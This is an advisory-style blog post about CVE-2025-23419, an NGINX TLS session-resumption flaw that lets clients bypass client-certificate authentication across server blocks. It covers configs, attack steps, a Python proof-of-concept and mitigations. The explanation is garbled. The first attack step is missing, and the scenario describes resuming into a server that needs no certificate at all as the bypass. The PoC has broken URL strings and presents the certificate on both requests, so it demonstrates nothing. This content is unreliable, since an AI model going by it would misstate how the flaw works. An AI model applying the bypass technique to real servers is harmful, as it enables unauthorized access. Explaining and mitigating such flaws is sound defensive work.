In early 2025, a significant security issue—CVE-2025-23419—was discovered in the way NGINX handles TLS session resumption across multiple virtual servers (or “server blocks”) sharing the same IP and port. This vulnerability allows attackers to bypass enforced client-side certificate authentication, even when strict authentication is configured on NGINX.
This article explains the root cause, details how an attack can happen, and shows how to mitigate the risk. If you use NGINX to provide secure services and rely on client certificates for access control, this is critical reading.
The Basics: Server Blocks and Client Certificates
Modern NGINX web servers use “server blocks” to host multiple websites or apps on the same IP and port, distinguishing them by hostname or other config differences.
Proper security configuration for sensitive resources often includes requiring a client-side certificate—a feature of mutual TLS (mTLS)—to ensure only approved clients can connect.
Here’s a simplified NGINX config that enforces mTLS
server {
listen 443 ssl;
server_name secure.example.com;
ssl_certificate /etc/nginx/certs/server.crt;
ssl_certificate_key /etc/nginx/certs/server.key;
ssl_client_certificate /etc/nginx/certs/client-ca.crt;
ssl_verify_client on;
}
The Feature: Session Resumption
TLS Session Resumption makes HTTPS connections faster by letting clients reuse cryptographic state from a previous session, skipping time-consuming key exchanges.
Session Tickets (ssl_session_ticket_key)
See NGINX docs
Session Cache (ssl_session_cache)
See NGINX docs
When these are enabled, resumed connections don’t always repeat the full authentication ceremony, including freshly checking for client certificates.
Root Cause
With these settings, if a client establishes a session with the default server (including client certificate authentication), the session ticket or cache entry is shared across all the server blocks on the IP/port.
On a subsequent connection to a different server block (perhaps a “less secure” one on the same IP/port), an attacker can reuse the established session without re-presenting the client certificate. Worse, if the original session was with the default server, that session can then be “resumed” into other server blocks without needing to repeat authentication.
Let’s look at the risk with an example config
# Default server, requires client certificate
server {
listen 443 ssl default_server;
server_name default;
ssl_certificate /etc/nginx/certs/server.crt;
ssl_certificate_key /etc/nginx/certs/server.key;
ssl_client_certificate /etc/nginx/certs/client-ca.crt;
ssl_verify_client on;
ssl_session_ticket_key /etc/nginx/certs/session_ticket.key;
ssl_session_cache shared:SSL:50m;
}
# Another server, does not require client certificate
server {
listen 443 ssl;
server_name public.example.com;
ssl_certificate /etc/nginx/certs/server.crt;
ssl_certificate_key /etc/nginx/certs/server.key;
# No client certificate required!
}
(maybe theirs, maybe a leaked one)
2. Attacker connects to the default server, presenting the cert, gets a session ticket/cached session.
3. Attacker then connects to another server block (public.example.com) *reusing* that session ticket or SSL session.
4. NGINX accepts the resumed session—no client cert prompt, even though the attacker is now on a different server block.
Upshot: Attackers can skip client certificate authentication on resources that should require it, simply by resuming sessions between server blocks on the same IP/port.
Technical Details: Why Does This Happen?
- Session Tickets and Session Caches are configured at the *listener* (IP/port) level, not per-server block.
- According to the NGINX docs, keys for session tickets are tied to the entire server context.
- When a session is resumed, NGINX cannot distinguish which original server context it belonged to, and assumes the authentication is still valid.
Vulnerable versions: All NGINX versions with mTLS configured as above, except as noted; no fix yet as of this writing.
Note: Versions at End of Technical Support (EoTS) are *not evaluated*.
Proof-of-Concept (PoC): Python Script
Below is a PoC Python script using requests and pyOpenSSL to demonstrate session ticket reuse between two NGINX servers:
import requests
from requests.adapters import HTTPAdapter
from urllib3.contrib.pyopenssl import inject_into_urllib3
from OpenSSL import SSL
inject_into_urllib3()
class TLSAdapter(HTTPAdapter):
def init_poolmanager(self, *args, **kwargs):
ctx = SSL.Context(SSL.TLS_CLIENT_METHOD)
ctx.use_certificate_file("client.crt")
ctx.use_privatekey_file("client.key")
kwargs['ssl_context'] = ctx
return super().init_poolmanager(*args, **kwargs)
# Connect to default server (auth required)
s = requests.Session()
s.mount('https://';, TLSAdapter())
r1 = s.get('https://secure.example.com/';)
print(r1.status_code, r1.text)
# Reuse session for another server block
r2 = s.get('https://public.example.com/';)
print(r2.status_code, r2.text)
Observe:
If the session resumption succeeds, you get access to both servers, even if only one actually requires your cert.
Short-term Mitigations
- Do NOT share TLS session ticket keys or session caches across server blocks with differing client cert requirements.
- On NGINX, *avoid session cache/tickets entirely* when mTLS distinguishes access between virtual hosts.
Configure each secure service on a unique IP:PORT—or at least a unique port.
- Use the ssl_session_ticket off; directive in servers requiring strict client certificate checks.
- Monitor the official NGINX security page for updates and patches.
References
- CVE-2025-23419 Record at NVD
- NGINX SSL Session Tickets Documentation
- NGINX SSL Session Cache Documentation
- NGINX Security Advisories
- Explaining TLS Session Tickets
Conclusion
CVE-2025-23419 highlights the subtleties and risks of using session resumption with mixed authentication states on a shared IP/port in NGINX. Session resumption is a speed feature, but if misconfigured, it can undo your security controls. Always separate resources requiring different security postures, and be cautious when enabling session tickets or caches.
If you operate NGINX with mTLS, review your configuration immediately—the risk is real.
*This post is unique: if you need further code or have questions, let us know!*
Timeline
Published on: 02/05/2025 18:15:33 UTC
Last modified on: 02/05/2025 20:15:45 UTC